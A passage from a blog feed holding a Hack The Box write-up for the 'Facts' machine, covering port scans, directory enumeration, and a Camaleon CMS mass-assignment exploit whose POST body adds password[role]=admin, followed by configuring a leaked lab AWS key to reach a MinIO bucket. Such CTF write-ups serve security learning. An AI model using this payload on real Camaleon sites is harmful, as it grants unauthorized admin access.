<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://ch3ng625.github.io//feed.xml" rel="self" type="application/atom+xml" /><link href="https://ch3ng625.github.io//" rel="alternate" type="text/html" /><updated>2026-06-26T15:20:12+00:00</updated><id>https://ch3ng625.github.io//feed.xml</id><title type="html">C:\Users\ch3ng &amp;gt;_</title><entry><title type="html">HTB Machine - Facts</title><link href="https://ch3ng625.github.io//facts" rel="alternate" type="text/html" title="HTB Machine - Facts" /><published>2026-06-25T00:00:00+00:00</published><updated>2026-06-25T00:00:00+00:00</updated><id>https://ch3ng625.github.io//facts</id><content type="html" xml:base="https://ch3ng625.github.io//facts"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Facts is a simple box themed around whitebox testing an open-source CMS. The foothold involves exploiting a mass assignment vulnerability to escalate privileges to admin within the CMS, then finding an AWS key in the settings to access an S3 bucket and retrieve an SSH key. At the time of release there’s no public PoC available, so the exploit payload has to be manually derived from the CMS’ source code. In the process of doing so, I also discovered an old path traversal CVE was insufficiently patched, making it possible to directly read the SSH key without escalation. For root it’s just a simple GTFOBins exploit.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.225.155</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 14:16 ACDT
Nmap scan report for 10.129.225.155
Host is up (0.36s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 77.27 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 22,80,54321 10.129.225.155</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 14:21 ACDT
Nmap scan report for 10.129.225.155
Host is up (0.36s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1890030FAF7D3914
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 03:53:39 GMT
|     &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
|     &lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid Request (invalid argument)&lt;/Message&gt;&lt;Resource&gt;/nice ports,/Trinity.txt.bak&lt;/Resource&gt;&lt;RequestId&gt;1890030FAF7D3914&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 1890030B178E87DA
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 03:53:19 GMT
|     &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
|     &lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid Request (invalid argument)&lt;/Message&gt;&lt;Resource&gt;/&lt;/Resource&gt;&lt;RequestId&gt;1890030B178E87DA&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sun, 01 Feb 2026 03:53:20 GMT
|_    Content-Length: 0
|_http-title: Did not follow redirect to http://10.129.225.155:9001
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.95%I=7%D=2/1%Time=697ECDC1%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request&quot;)%r(GetRequest,2B0,&quot;HTTP/1\.0\x20400\x20Bad\x20Request\r\nAcc
SF:ept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20appl
SF:ication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-ag
SF:e=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20d
SF:d9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-Am
SF:z-Request-Id:\x201890030B178E87DA\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2001\x20Feb
SF:\x202026\x2003:53:19\x20GMT\r\n\r\n&lt;\?xml\x20version=\&quot;1\.0\&quot;\x20encodi
SF:ng=\&quot;UTF-8\&quot;\?&gt;\n&lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid\x20
SF:Request\x20\(invalid\x20argument\)&lt;/Message&gt;&lt;Resource&gt;/&lt;/Resource&gt;&lt;Requ
SF:estId&gt;1890030B178E87DA&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6e
SF:bf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;&quot;)%r(HTTPOptions,59
SF:,&quot;HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2001\x20F
SF:eb\x202026\x2003:53:20\x20GMT\r\nContent-Length:\x200\r\n\r\n&quot;)%r(RTSPR
SF:equest,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest&quot;)%r(Help,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request&quot;)%r(SSLSessionReq,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request&quot;)%r(FourOhFourRequest,2CB,&quot;HTTP/1\.0\x20
SF:400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x20
SF:303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-T
SF:ransport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\x
SF:20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9
SF:251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x201890030FAF7D3914\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nDate:\x20Sun,\x2001\x20Feb\x202026\x2003:53:39\x20GMT\r\n\r\n&lt;\?xml\x
SF:20version=\&quot;1\.0\&quot;\x20encoding=\&quot;UTF-8\&quot;\?&gt;\n&lt;Error&gt;&lt;Code&gt;InvalidReques
SF:t&lt;/Code&gt;&lt;Message&gt;Invalid\x20Request\x20\(invalid\x20argument\)&lt;/Message
SF:&gt;&lt;Resource&gt;/nice\x20ports,/Trinity\.txt\.bak&lt;/Resource&gt;&lt;RequestId&gt;18900
SF:30FAF7D3914&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd
SF:1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;&quot;);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   359.23 ms 10.10.14.1
2   359.33 ms 10.129.225.155

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.46 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>SSH and HTTP are open. There’s also port 54321 that seems to be running <a href="https://github.com/minio/minio">MinIO</a>, which is basically a mock of AWS S3.</p>

<h3 id="tcp80---http">TCP80 - HTTP:</h3>

<p><img src="/assets/images/posts/facts/landing_page.png" alt="" /></p>

<p>Port 80 is a trivia site showing some random facts.</p>

<p><img src="/assets/images/posts/facts/trivia.png" alt="" /></p>

<p>It has a search bar at the top, but doesn’t seem vulnerable to SQL injections.</p>

<p><img src="/assets/images/posts/facts/sqli_fail.png" alt="" /></p>

<p>Wappalyzer also identified it as a Ruby on Rails app:</p>

<p><img src="/assets/images/posts/facts/wappalyzer.png" alt="" /></p>

<p>There isn’t anything else to look at. I’ll run <code class="language-plaintext highlighter-rouge">gobuster</code>, and find an admin login endpoint.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster dir -u http://facts.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://facts.htb
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 11113]
/search               (Status: 200) [Size: 19187]
/rss                  (Status: 200) [Size: 183]
/sitemap              (Status: 200) [Size: 3508]
/en                   (Status: 200) [Size: 11109]
/page                 (Status: 200) [Size: 19593]
/welcome              (Status: 200) [Size: 11966]
/admin                (Status: 302) [Size: 0] [--&gt; http://facts.htb/admin/login]
/post                 (Status: 200) [Size: 11308]
/ajax                 (Status: 200) [Size: 0]
/Index                (Status: 200) [Size: 11113]
/up                   (Status: 200) [Size: 73]
/-                    (Status: 200) [Size: 11098]
/404                  (Status: 200) [Size: 4836]
/robots               (Status: 200) [Size: 33]
/EN                   (Status: 200) [Size: 11109]
/400                  (Status: 200) [Size: 6685]
/error                (Status: 500) [Size: 7918]
/500                  (Status: 200) [Size: 7918]
/422                  (Status: 200) [Size: 8380]
/captcha              (Status: 200) [Size: 5023]
/INDEX                (Status: 200) [Size: 11113]
/En                   (Status: 200) [Size: 11109]
Progress: 35100 / 220560 (15.91%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 35104 / 220560 (15.92%)
===============================================================
Finished
===============================================================
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="camaleon-cms">Camaleon CMS:</h3>

<p><img src="/assets/images/posts/facts/login.png" alt="" /></p>

<p>I tried several default creds, but none of them worked. Surprisingly, account registration is enabled.</p>

<p><img src="/assets/images/posts/facts/register.png" alt="" /></p>

<p>I’ll register an account and log in. There’s almost nothing in the admin panel, but it does reveal it’s running <a href="https://github.com/owen2345/camaleon-cms">Camaleon CMS</a> v2.9.0 at the bottom:</p>

<p><img src="/assets/images/posts/facts/lowpriv_dashboard.png" alt="" /></p>

<p>I’ll check my profile. Nothing immediately interesting, but I noticed the breadcrumbs at the top: <em>Dashboard &gt; Users &gt; Profile &gt; Edit</em>, which means there might be other admin pages.</p>

<p><img src="/assets/images/posts/facts/profile.png" alt="" /></p>

<p>I’ll click on “Users”, but it resulted in a “not authorized” error. There’s likely a higher-tier admin role.</p>

<p><img src="/assets/images/posts/facts/unauthorized.png" alt="" /></p>

<p>Since the CMS version is known, I’ll Google for any known bugs, and found it has a <a href="https://rubysec.com/advisories/CVE-2025-2304/">Mass Assignment vulnerability</a>.</p>

<h3 id="cve-2025-2304---mass-assignment">CVE-2025-2304 - Mass Assignment:</h3>

<p>Camaleon CMS is built with Ruby on Rails, which follows the <a href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">Model-View-Controller (MVC) architecture</a>. With MVC, database records are represented by models, while controllers can create, delete, and modify them and their properties. One advantage of MVC is that it abstracts away direct database interactions. Controllers can populate or update an entire model from a set of user-supplied parameters in a single operation, rather than updating individual database fields one by one. However, not all model properties are meant to be editable, and restrictions on this are often insufficient in controllers. A mass assignment vulnerability arises when user-supplied parameters are blindly mapped to a model by the controller, allowing modification of sensitive properties such as roles, permissions, or account status.</p>

<p>Specific to CVE-2025-2304:</p>

<blockquote>
  <p>A Privilege Escalation through a Mass Assignment exists in Camaleon CMS. When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.</p>
</blockquote>

<p>At the time of release, there’s little public info on the vulnerability. All I got was the small paragraph above from the <a href="https://rubysec.com/advisories/CVE-2025-2304/">RubySec advisory</a> and the <a href="https://github.com/owen2345/camaleon-cms/commit/179fd6b1ecf258d3e214aebfa87ac4a322ea4db4">GitHub patch commit</a>.</p>

<p>I’ll update my password, which resulted in this POST request:</p>

<p><img src="/assets/images/posts/facts/update_pw.png" alt="" /></p>

<p>All parameters are sent to the controller in the format of <code class="language-plaintext highlighter-rouge">password[&lt;field&gt;]</code>. As shown in the <a href="https://github.com/owen2345/camaleon-cms/commit/179fd6b1ecf258d3e214aebfa87ac4a322ea4db4">patch commit</a>, the controller uses the insecure <a href="https://guides.rubyonrails.org/action_controller_overview.html#permit-bang">.permit!</a> method, which blindly processes all parameters without filtering.</p>

<p><img src="/assets/images/posts/facts/patch_commit.png" alt="" /></p>

<p>I’ll check its <a href="https://github.com/owen2345/camaleon-cms/blob/master/app/models/concerns/camaleon_cms/user_methods.rb">user model</a>, and find there’s two roles in the CMS: <code class="language-plaintext highlighter-rouge">client</code> and <code class="language-plaintext highlighter-rouge">admin</code>. To escalate, I’ll inject <code class="language-plaintext highlighter-rouge">password[role]=admin</code> into the POST data:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">_method=patch&amp;authenticity_token=6_wy3rtiIpRNMt9VR6lALgo7EMq5zur_hao0A7GGCQqy5yO93YbB9_gGFhRz23irg27yiALRkvXdReFjKj2HNA&amp;password%5Bpassword%5D=ch3ng&amp;password%5Bpassword_confirmation%5D=ch3ng&amp;password%5Brole%5D=admin</pre>
  </div>
</div>

<p><img src="/assets/images/posts/facts/mass_assignment.png" alt="" /></p>

<p>After I forward the request and reload the page, more menus appeared:</p>

<p><img src="/assets/images/posts/facts/admin_dashboard.png" alt="" /></p>

<p>I’ll go through the site settings, and find an AWS key at <em>Settings &gt; General Site &gt; Filesystem Settings</em>.</p>

<p><img src="/assets/images/posts/facts/settings.png" alt="" /></p>

<h3 id="tcp54321---aws-s3minio">TCP54321 - AWS S3/MinIO:</h3>

<p><a href="https://github.com/minio/minio">MinIO</a> is essentially a self-hosted implementation of AWS S3. It’s compatible with existing AWS tools, and I can directly interact with it using the <code class="language-plaintext highlighter-rouge">aws</code> CLI toolset.</p>

<p>I’ll first configure the access keys and then access the endpoint.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/facts</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">aws configure</span>
<span class="cmd-output">
AWS Access Key ID [None]: AKIADB4AD22A789C8ED6
AWS Secret Access Key [None]: /L15VQhSexf6RG9yn1bQYdAMXguhtDmaCz38Derc
Default region name [None]: us-east-1
Default output format [None]: 
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
